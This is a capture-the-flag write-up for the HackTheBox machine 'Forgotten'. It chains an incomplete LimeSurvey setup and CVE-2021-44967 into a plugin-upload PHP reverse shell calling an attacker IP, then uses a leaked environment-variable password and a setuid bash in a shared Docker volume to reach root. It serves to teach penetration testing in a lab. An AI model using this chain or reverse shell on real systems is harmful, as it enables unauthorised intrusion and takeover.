Forgotten - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Forgotten showcases a realistic attack chain involving an incomplete LimeSurvey installation. By deploying a controlled MariaDB instance to complete the web application setup, attackers gain administrative access and exploit CVE-2021-44967 (arbitrary file upload via plugin manager) to achieve RCE inside a Docker container. Lateral movement is achieved through leaked environment variables, and privilege escalation is completed by leveraging shared mounted volumes between the container and host to create a setuid binary. TL;DR: Enumerate LimeSurvey → Complete installation with attacker-controlled DB → Upload malicious plugin for RCE → Extract credentials from environment variables → SSH to host → Escalate via container-to-host setuid binary creation.

Reconnaissance

Port Scanning

nmap -Pn -A --top-ports 3000 forgotten.vl

Results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp    open  http    Apache httpd 2.4.56

Two services are exposed: SSH on port 22 and HTTP on port 80. The HTTP server returns a 403 Forbidden when accessing the root directory.

Service Enumeration

Web Server Enumeration:

Using Feroxbuster to discover hidden directories and files:

feroxbuster -u http://forgotten.vl -x php,html,txt \
  -w ~/wordlists/raft-medium-words.txt -q -C 404,403

Key findings:

• /survey/ — LimeSurvey installation (incomplete)
• /survey/admin/ — Administration panel
• /survey/plugins/ — Plugin upload directory
• /survey/modules/ — Modules directory

Accessing http://forgotten.vl/survey/ reveals an unfinished LimeSurvey installation presenting a setup wizard.

Vulnerability Assessment

Identified Vulnerabilities:

1. Incomplete Application Installation — LimeSurvey setup wizard accepts arbitrary database endpoints
2. CVE-2021-44967 — Arbitrary file upload vulnerability in LimeSurvey plugin manager (version 6.x)
3. Leaked Credentials — Environment variables expose database credentials within Docker container
4. Insecure Shared Mounts — Docker container /var/www/html/survey mounted from host with writable permissions
5. Privilege Escalation via Setuid — Ability to create setuid binaries in shared volume exploitable from host

Initial Foothold

Exploitation Path

Step 1: Complete LimeSurvey Installation with Attacker-Controlled Database

First, deploy a MySQL/MariaDB container on the attacking machine:

sudo docker pull mysql
sudo docker run -p 3306:3306 --rm --name tmp-mysql \
  -e MYSQL_ROOT_PASSWORD=password mysql:latest

Verify the database is listening:

netstat -tanp | grep 3306

Navigate to the LimeSurvey installation wizard at http://forgotten.vl/survey/ and provide the attacker’s IP address, port 3306, with credentials root:password. Allow LimeSurvey to automatically create the database and populate required tables.

Once installation completes, log in and note the LimeSurvey version number (6.x), which is vulnerable to CVE-2021-44967.

Step 2: Craft Malicious LimeSurvey Plugin

Clone the public exploit:

git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.git
cd Limesurvey-RCE

Modify config.xml to specify the major version (6):

<major_version>6</major_version>

Edit php-rev.php to set the attacking IP and port:

<?php
$ip = '10.10.14.66';  // Attacker IP
$port = 10001;         // Listening port
// ... rest of reverse shell code
?>

Archive the plugin:

zip Y1LD1R1M.zip config.xml php-rev.php

Step 3: Upload Plugin and Trigger RCE

Using the LimeSurvey admin panel, upload the Y1LD1R1M.zip plugin through the plugin manager. Once uploaded, trigger the plugin by accessing:

curl http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php

Step 4: Receive Reverse Shell

Start a netcat listener on the attacking machine:

nc -lvnp 10001

Upon accessing the plugin, receive the reverse shell:

listening on [any] 10001 ...
connect to [10.10.14.66] from (UNKNOWN) [10.129.234.81] 47410
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)

Upgrade the shell for better interactivity:

script -qc /bin/bash /dev/null

The user flag is located at /home/limesvc/user.txt.

Privilege Escalation

Lateral Movement: Container Escape via Leaked Credentials

Enumerate environment variables within the container:

env

Discover the LIMESURVEY_PASS variable containing credentials:

LIMESURVEY_ADMIN=limesvc
LIMESURVEY_PASS=5W5HN4K4GCXf9E

Use these credentials to SSH into the host:

ssh limesvc@forgotten.vl
# Password: 5W5HN4K4GCXf9E

Privilege Escalation: Setuid Binary via Shared Volumes

From within the container, verify sudo privileges:

sudo -l
# User limesvc may run the following commands on efaa6f5097ed:
#      (ALL : ALL) ALL

Become root within the container:

sudo su
# root@efaa6f5097ed:/#

Enumerate mounted volumes:

mount | grep -E "survey|html"
# /dev/root on /var/www/html/survey type ext4 (rw,relatime,discard,errors=remount-ro)

The container’s /var/www/html/survey directory is mounted from the host at /opt/limesurvey/. Create a setuid bash binary:

# Within the container (as root)
cp /bin/bash /var/www/html/survey/bash
chmod +s /var/www/html/survey/bash

From the host (as limesvc), execute the setuid bash:

# On the host
/opt/limesurvey/bash -p
# bash-5.1# id
# uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root)

The -p flag preserves the setuid permissions, granting root access. Retrieve the root flag from /root/root.txt.

Attack Chain Summary

Port Enumeration (80, 22)
    ↓
Discover /survey/ LimeSurvey Installation
    ↓
Deploy Attacker-Controlled MariaDB Container
    ↓
Complete LimeSurvey Setup with Arbitrary DB Endpoint
    ↓
Identify LimeSurvey Version 6.x (CVE-2021-44967 Vulnerable)
    ↓
Craft Malicious Plugin with Reverse Shell
    ↓
Upload Plugin via Admin Panel
    ↓
Trigger RCE via Plugin Access
    ↓
Obtain Shell as limesvc (uid=2000, sudo group)
    ↓
Extract Credentials from Environment Variables
    ↓
SSH Lateral Movement to Host as limesvc
    ↓
Escalate to Root in Container (sudo su)
    ↓
Exploit Shared Mounted Volume (/var/www/html/survey)
    ↓
Create Setuid Bash in Shared Directory
    ↓
Execute Setuid Bash from Host
    ↓
Achieve Root Access → Root Flag

Tools Used

Key Learnings

Techniques Practiced

• Web application enumeration and discovery of incomplete installations
• Third-party application exploitation through arbitrary configuration endpoints
• CVE-2021-44967 LimeSurvey plugin upload RCE
• Reverse shell crafting and delivery
• Container introspection and environment variable enumeration
• Docker-to-host privilege escalation via shared mounted volumes
• Setuid binary exploitation for root access
• Lateral movement using leaked credentials

Lessons Learned

1. Incomplete Installations are Exploitable — Setup wizards that accept arbitrary service endpoints can be weaponized by deploying attacker-controlled backends.

2. Environment Variable Leakage — Credentials and sensitive data stored in environment variables are accessible to any process running in the same container, enabling privilege escalation and lateral movement.

3. Shared Volume Risks — Container-to-host mounted volumes with writable permissions create a direct privilege escalation vector; attackers with elevated container privileges can modify files readable by the host.

4. Setuid Binaries Require Careful Permissions — The bash setuid binary, when invoked with the -p flag, preserves elevated permissions, allowing unprivileged users to execute code as root.

5. CVE-2021-44967 Impact — LimeSurvey’s plugin upload mechanism lacks proper validation, enabling arbitrary PHP code execution and full application compromise.

6. Defense in Depth — Multiple single points of failure (incomplete setup, leaked credentials, writable mounts, sudo permissions) compound into complete system compromise.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>